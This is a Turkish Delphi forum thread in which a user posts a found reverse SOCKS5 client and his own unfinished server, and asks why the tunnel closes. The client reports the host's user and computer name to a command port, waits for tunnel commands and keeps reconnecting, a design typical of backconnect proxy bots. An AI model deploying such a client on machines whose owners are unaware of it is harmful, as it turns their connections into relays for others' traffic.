[Uzman Sorusu] Reverse Proxy Client Server [Socks5] Uygulaması

Delphi'de kod yazma ile ilgili sorularınızı bu foruma yazabilirsiniz.
Cevapla
sacro
Üye
Mesajlar: 3
Kayıt: 29 Nis 2016 10:08

[Uzman Sorusu] Reverse Proxy Client Server [Socks5] Uygulaması

Mesaj gönderen sacro »

Merhaba,

Daha önce proxy işleriyle uğraşan hocalardan küçük bir destek rica ediyorum.

Client Tarafı

Kod: Tümünü seç

program ProjectClient;

{$APPTYPE CONSOLE}

uses
  windows,  uFuncs,
  WinSock,
  SysUtils,
  uSockets in 'uSockets.pas';

var
  wsadata : TWSAData;
  sockCMD : TSocket;
  strcmd : array[0 .. 3] of char;
  numcon : Integer;
  tid : Cardinal;
procedure TunnelFunc(param : Pointer);
var
  sock : TSocket;
  Socks5MethodSel : TSocks5MethodSel;
  //buffer : array[0..254] of Byte;
  pbuffer : Pointer;
  recvlen  : Integer;
  socks5request : PSocks5Request;
  strtarget : string;
  wtargetport : Word;
  socktunnel : Integer;
  selset : TFDSet;
  Buf : array [0..32767] of byte;
  close : Boolean;
begin
  close := false;
  sock := Connect('localhost', 8080);
  if sock <> SOCKET_ERROR then begin
    numcon := numcon + 1;
    //Writeln('[' + IntToStr(sock) + '] [NR:' + IntToStr(numcon) + '] [+]');
    ///
    ReceiveBuffer(sock, Socks5MethodSel, SizeOf(Socks5MethodSel));
    if Socks5MethodSel.Version = 5 then begin
      Socks5MethodSel.nMethods := 0;
      sendbuffer(sock, Socks5MethodSel, 2);
      while recvlen = 0 do begin
        recvlen := ReceiveLength(sock);
        Sleep(50);
      end;
      if recvlen <> SOCKET_ERROR then begin
        pbuffer := GetMemory(recvlen);
        ReceiveBuffer(sock, pbuffer^, recvlen);
        socks5request := pbuffer;
        if (Socks5Request^.ucVersion = 5) and (Socks5Request^.ucCommand = 1) Then begin
          if Socks5Request^.ucAtyp = 1 Then begin //IP 4
            strtarget := string(inet_ntoa(in_addr(Socks5Request^.dwDestIp)));
            wtargetport := ntohs(Word(Pointer(Cardinal(pbuffer) + 8)^));
          end else if Socks5Request^.ucAtyp = 3 then begin //domain name
            SetString(strtarget,PChar(Cardinal(pbuffer) + 5),Integer(Byte(Socks5Request^.dwDestIp)));
            wtargetport := ntohs(Word(Pointer(Cardinal(pbuffer) + 5 + Byte(Socks5Request^.dwDestIp))^));
          end else begin
            writeln('NOT SUPPORTED');
          end;
          if (strtarget <> '') and (wtargetport <> 0) Then begin
            socktunnel := Connect(strtarget, wtargetport);
            if socktunnel <> SOCKET_ERROR then begin
              socks5request^.ucCommand := 0;
              SendBuffer(sock, pbuffer^, recvlen) ;
              while true do begin
                FD_ZERO(selset);
                FD_SET(sock, selset);     //timeout maybe?
                FD_SET(socktunnel, selset);
                if select(0, @selset, nil, nil, nil) = SOCKET_ERROR Then Break;
                if FD_ISSET(sock, selset) then begin //data from master
                  recvlen := ReceiveBuffer(sock, Buf, SizeOf(Buf));
                  if recvlen <=0 Then begin
                    close := True;
                  end;
                  if SendBuffer(socktunnel, Buf, recvlen) = SOCKET_ERROR then close := True;
                end;

               if FD_ISSET(socktunnel, selset) then begin //data from outside
                  recvlen := ReceiveBuffer(socktunnel, Buf, SizeOf(Buf));
                  if recvlen <=0 Then begin
                    close := True;
                  end;
                  if SendBuffer(sock, Buf, recvlen) = SOCKET_ERROR then close := True;
                end;
                if close = true then Break;
                Sleep(20);
              end;
            end;
          end;
          FreeMemory(pbuffer);
        end;
      end;
    end;
    ///
    Disconnect(sock);
    Disconnect(socktunnel);
    numcon := numcon - 1;
    //Writeln('[' + IntToStr(sock) + '] [NR:' + IntToStr(numcon) + '] [-]');
  end;
end;
begin
  WSAStartup(MAKEWORD(1,1), wsadata);
  sockCMD := SOCKET_ERROR;
  while sockCMD = SOCKET_ERROR Do begin
    sockCMD := connect('localhost', 7070);
    if sockCMD <> SOCKET_ERROR then SendString(sockCMD, 'ONLN' + GetUserName + '|' + GetComputerName + '~');
    while (sockCMD <> SOCKET_ERROR) do begin
      if recv(sockCMD, strcmd, 4, 0) <= 0 Then sockcmd := SOCKET_ERROR;
      if strcmd = 'SOCK' then begin
        //NEW TUNNEL
        BeginThread(nil, 0, @TunnelFunc, nil, 0, tid);
      end else if strcmd = 'CLSE' then begin
        //close
        Disconnect(sockCMD);
        exit;
      end;
      Sleep(100);
    end;
    Writeln('no connection');
    Sleep(5000);
  end;
end.
Burada socks5 tabanlı bir servera bağlanıp arada tünel oluşturmaya çalışıyorum. Aslında bu bölümde bir sıkıntı yok. Bu uygulamayı internetten buldum. Bunun Server bölümü NodeJs ile yazıldığı için hiçbir şey anlamadım. Bunun server tarafını delphi ile yazmaya çalışıyorum.

Server Kodları.

https://github.com/Numbers11/revproxnew

Bu konuda destek verebilecek üstadlardan Allah razı olsun.

Benim yazdığım Server Tarafı

Kod: Tümünü seç

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, uSocks5,
  Dialogs, StdCtrls, ScktComp;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    Button1: TButton;
    Memo1: TMemo;
    Button2: TButton;
    ServerSocket2: TServerSocket;
    procedure Button1Click(Sender: TObject);
    procedure ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure Button2Click(Sender: TObject);
    procedure ServerSocket2ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ServerSocket1.Port:= 5000;
ServerSocket1.Active:= True;
ServerSocket2.Port:= 5001;
ServerSocket2.Active:= True;
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Memo1.Lines.Add(socket.ReceiveText);
end;

procedure TForm1.ServerSocket1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
Errorcode:=0;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ServerSocket1.Socket.Connections[0].SendText('~CONNtest:localhost:5001');
end;

procedure TForm1.ServerSocket2ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
Memo1.Lines.Add(socket.ReceiveText);
end;

end.
Burada ilk aşamada bağlantı sağlanıyor Tünel başlıyor ancak hemen sonrasında kapanıyor. Nedeni nedir acaba? Alternatif üretebilir miyiz?
Kullanıcı avatarı
G.Arkas
Üye
Mesajlar: 829
Kayıt: 01 Eki 2007 07:16
Konum: İstanbul
İletişim:

Re: [Uzman Sorusu] Reverse Proxy Client Server [Socks5] Uygulaması

Mesaj gönderen G.Arkas »

Merhaba,

Yazdığınız kodda(server) bir yönlendirme göremedim. Size bağlanan cihaz ya da yazılımları client ip adresine yönlendirmeniz gerekmez mi? Yoksa ben mi yanlış biliyorum?
Resim
sacro
Üye
Mesajlar: 3
Kayıt: 29 Nis 2016 10:08

Re: [Uzman Sorusu] Reverse Proxy Client Server [Socks5] Uygulaması

Mesaj gönderen sacro »

G.Arkas yazdı:Merhaba,

Yazdığınız kodda(server) bir yönlendirme göremedim. Size bağlanan cihaz ya da yazılımları client ip adresine yönlendirmeniz gerekmez mi? Yoksa ben mi yanlış biliyorum?
Merhaba hocam, yönlendirmeden kastınız nedir? port yönlendirme mi?
Kullanıcı avatarı
G.Arkas
Üye
Mesajlar: 829
Kayıt: 01 Eki 2007 07:16
Konum: İstanbul
İletişim:

Re: [Uzman Sorusu] Reverse Proxy Client Server [Socks5] Uygulaması

Mesaj gönderen G.Arkas »

sacro yazdı:
G.Arkas yazdı:Merhaba,

Yazdığınız kodda(server) bir yönlendirme göremedim. Size bağlanan cihaz ya da yazılımları client ip adresine yönlendirmeniz gerekmez mi? Yoksa ben mi yanlış biliyorum?
Merhaba hocam, yönlendirmeden kastınız nedir? port yönlendirme mi?
Hayır, lokalde açtığınız Socks5 bağlantısına istek geldiğinde veriler, size bağlı olan client nesneleri üzerinden gönderilip alınacak. Bu yüzden sadece o portu dinlemeniz yetmez, gelen giden paketleride yönlendirmeniz gerekecek. Basit bir işlemdir bu. İnan vaktim olsa bir örnek yapardım ama seyahatteyim. Google üzerinde basit socket işlemlerini bile araştırmanız yeterli olur.
Resim
Cevapla